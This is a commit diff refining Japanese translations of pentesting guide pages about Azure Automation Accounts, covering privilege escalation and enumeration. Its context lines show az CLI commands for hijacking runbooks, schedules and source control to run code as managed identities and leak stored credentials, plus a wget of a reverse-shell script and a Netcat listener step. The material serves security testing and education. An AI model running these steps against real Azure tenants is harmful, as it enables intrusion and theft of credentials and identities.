Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 17:42:22 +00:00
parent bdc1c207a3
commit 06ae0ca85c
2 changed files with 26 additions and 28 deletions

View File

@@ -10,18 +10,18 @@
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
### Hybrid Workers Group
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これは、オンプレミスのマシン、別のクラウドのVPC、またはAzure VMである可能性があります。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。
> [!TIP]
> **メタデータサービス**は、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
> **メタデータサービス**は、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**)を持っていることを覚えておいてください(**`IDENTITY_ENDPOINT`**)。
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
要約すると、これらの権限は**オートメーションアカウント内でランブックを作成、変更、実行する**ことを可能にし、これを使用して**オートメーションアカウントのコンテキストでコードを実行し、割り当てられた**マネージドアイデンティティ**に特権を昇格させ、オートメーションアカウントに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。
要約すると、これらの権限は**オートメーションアカウント内でランブックを作成、変更、実行する**ことを可能にし、オートメーションアカウントのコンテキストで**コードを実行**し、割り当てられた**マネージドアイデンティティ**に特権を昇格させ、オートメーションアカウントに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、オートメーションアカウント内のランブックのコードを次のように変更することを許可します:
```bash
@@ -58,13 +58,13 @@ az automation runbook start \
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read``Microsoft.Automation/automationAccounts/runbooks/write`**が必要です
Runbookが作成されていない場合、または新しいRunbookを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read``Microsoft.Automation/automationAccounts/runbooks/write`**が必要です:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のID**を割り当てることを許可します:
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -82,7 +82,7 @@ az rest --method PATCH \
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができますあまりステルスではありません
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先であることに注意してください
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先で
```bash
## For linux
az automation schedule create \
@@ -104,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラを割り当てることができます:
次に、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラを割り当てることができます:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可します(これはGithubを例しています):
この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可します(以下はGithubを例しています):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -194,16 +194,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
により、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限昇格が可能**になります。
の操作により、Githubリポジトリから自動的にランブックがAutomation Accountにインポートされ、他の権限を持ってそれらを実行し始めることができれば、**権限昇格させることが可能**す。
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザー管理のアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
> [!TIP]
> 作成後にソース管理のリポジトリURLを変更することはできないことに注意してください。
### `Microsoft.Automation/automationAccounts/variables/write`
権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。
権限**`Microsoft.Automation/automationAccounts/variables/write`**を持つことで、次のコマンドを使用してAutomation Accountに変数を書き込むことが可能です。
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -223,7 +223,7 @@ az rest --method PUT \
### 状態構成の妥協
**完全な投稿を確認してください:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**完全な投稿を確認するには:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- ステップ 1 — ファイルの作成
@@ -257,7 +257,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
構成ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。
- ステップ 6 — ペイロードのホスティングとリスナーの設定
- ステップ 6 — ペイロードのホスとリスナーの設定
PythonのSimpleHTTPServerがペイロードをホストするために起動され、Netcatリスナーが着信接続をキャプチャします。
```bash

View File

@@ -4,31 +4,29 @@
## 基本情報
Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などの**タスクを自動化**するのに役立ちます。これにより、**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供し、自動化**ジョブ**を実行できるようにし、インフラストラクチャをコードIaCとして扱い、クラウドリソースの管理における効率性と一貫性を向上させます。
Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などの**タスクを自動化**するのに役立ちます。これにより、Azureおよびオンプレミス環境全体での効率と一貫性が向上します。**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供し、自動化**ジョブ**を実行ます。
### 設定
- **資格情報**: パスワードは自動化アカウント内のRunbook内でのみアクセス可能で、**ユーザー名とパスワードを安全に保存する**ために使用されます。
- **変数**: Runbookで使用できる**構成データ**を保存するために使用されます。これにはAPIキーのような機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。
- **変数**: Runbookで使用できる**構成データ**を保存するために使用されます。これにはAPIキーなどの機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。
- **証明書**: Runbookで使用できる**証明書**を保存するために使用されます。
- **接続**: 外部サービスへの**接続情報**を保存するために使用されます。これには**機密情報**が含まれる可能性があります。
- **ネットワークアクセス**: **公開**または**プライベート**に設定できます。
## Runbooks & Jobs
### Runbooks & Jobs
Azure AutomationのRunbookは、クラウド環境内で**タスクを自動的に実行するスクリプト**です。RunbookはPowerShell、Python、またはグラフィカルエディタで記述できます。これにより、VM管理、パッチ適用、コンプライアンスチェックなどの管理タスクを自動化できます。
**Runbooks**内の**コード**には**機密情報**(資格情報など)が含まれる可能性があります。
`Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
**ジョブはRunbook実行のインスタンス**です。Runbookを実行すると、実行を追跡するためにジョブが作成されます。各ジョブには以下が含まれます
- **ステータス**: キュー、実行中、完了、失敗、保留。
- **ステータス**: キュー待ち、実行中、完了、失敗、保留。
- **出力**: Runbook実行の結果。
- **開始および終了時間**: ジョブが開始および完了した時間。
ジョブには**Runbook**実行の**出力**が含まれます。**ジョブ**を**読む**ことができる場合は、実行の**出力**(潜在的な**機密情報**が含まれているため、必ず行ってください。
ジョブには**Runbook**実行の**出力**が含まれます。**ジョブ**を**読む**ことができる場合は、**出力****機密情報**が含まれている可能性があるため、必ず行ってください。
### スケジュール & Webhooks
@@ -40,7 +38,7 @@ Runbookを実行する主な方法は3つあります
### ソース管理
**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbooksをインポートすることができます。リポジトリのRunbooksをAzure Automationアカウントに公開するように指示すること、リポジトリからAzure Automationアカウント**変更同期**するように指示することも可能です。
**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbooksをインポートできます。リポジトリのRunbooksをAzure Automationアカウントに公開するように指示することができ、リポジトリからAzure Automationアカウントへの**変更同期**指示することも可能です。
同期が有効になっている場合、**GithubリポジトリにWebhookが作成され**、プッシュイベントが発生するたびに同期がトリガーされます。Webhook URLの例: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
@@ -63,19 +61,19 @@ Runbookを作成する際に、ランタイム環境を選択できます。デ
### ハイブリッドワーカーグループ
Azure Automationでは、Runbookのデフォルト実行環境は**Azure Sandbox**であり、Azureによって管理されるクラウドベースのプラットフォームで、Azureリソースに関わるタスクに適しています。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間およびリソース使用の制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドRunbookワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で動作します。このセットアップにより、Runbookはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。
Azure Automationでは、Runbookのデフォルト実行環境は**Azure Sandbox**であり、Azureリソースに関するタスクに適したAzureが管理するクラウドベースのプラットフォームです。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間およびリソース使用の制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドRunbookワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で動作します。このセットアップにより、Runbookはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。
ハイブリッドワーカーグループを作成する際には、使用する**資格情報**を指定する必要があります。2つのオプションがあります
- **デフォルト資格情報**: 資格情報を提供する必要はなく、Runbookは**System**としてVM内で実行されます。
- **特定の資格情報**: 自動化アカウント内の資格情報オブジェクトの名前を提供する必要があり、これが**VM内でRunbookを実行するために使用されます**。したがって、この場合、VMの**有効な資格情報を盗む**ことが可能です。
- **デフォルト資格情報**: 資格情報を提供する必要はなく、Runbookは**System**としてVM内で実行されます。
- **特定の資格情報**: 自動化アカウント内の資格情報オブジェクトの名前を提供する必要があり、これが**VM内でRunbookを実行するために使用されます**。したがって、この場合、VMのために**有効な資格情報を盗む**ことが可能です。
したがって、**Windows Hybrid Worker**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンドを実行**します(良いピボット技術)。
したがって、**ハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンドを実行**します(良いピボット技術)。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、Runbookは**RunbookのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。
> [!TIP]
> **メタデータサービス**のURLは、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**であることを忘れないでください。
> **メタデータサービス**のURLは、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なる**`http://169.254.169.254`**)ことを忘れないでください。
### 状態構成 (SC)
@@ -84,7 +82,7 @@ Azure Automationでは、Runbookのデフォルト実行環境は**Azure Sandbox
Automation Accountsは、**状態構成 (SC)**もサポートしており、これは**VMの状態を構成**および**維持**するのに役立つ機能です。**Windows**および**Linux**マシンにDSC構成を**作成**および**適用**することが可能です。
攻撃者の視点から見ると、これは**すべての構成されたVMで任意のPSコードを実行する**ことを可能にし、これらのVMのマネージドアイデンティティへの権限昇格を可し、新しいネットワークへのピボットを可能にするため、興味深いものでした... また、構成には**機密情報**が含まれる可能性があります。
攻撃者の視点から見ると、これは**すべての構成されたVMで任意のPSコードを実行**できるため、これらのVMのマネージドアイデンティティへの権限昇格を可能にし、新しいネットワークへのピボットを潜在的に行うことができるため、興味深いものでした... また、構成には**機密情報**が含まれる可能性があります。
## 列挙
```bash
@@ -170,7 +168,7 @@ az rest --method GET \
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
az automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"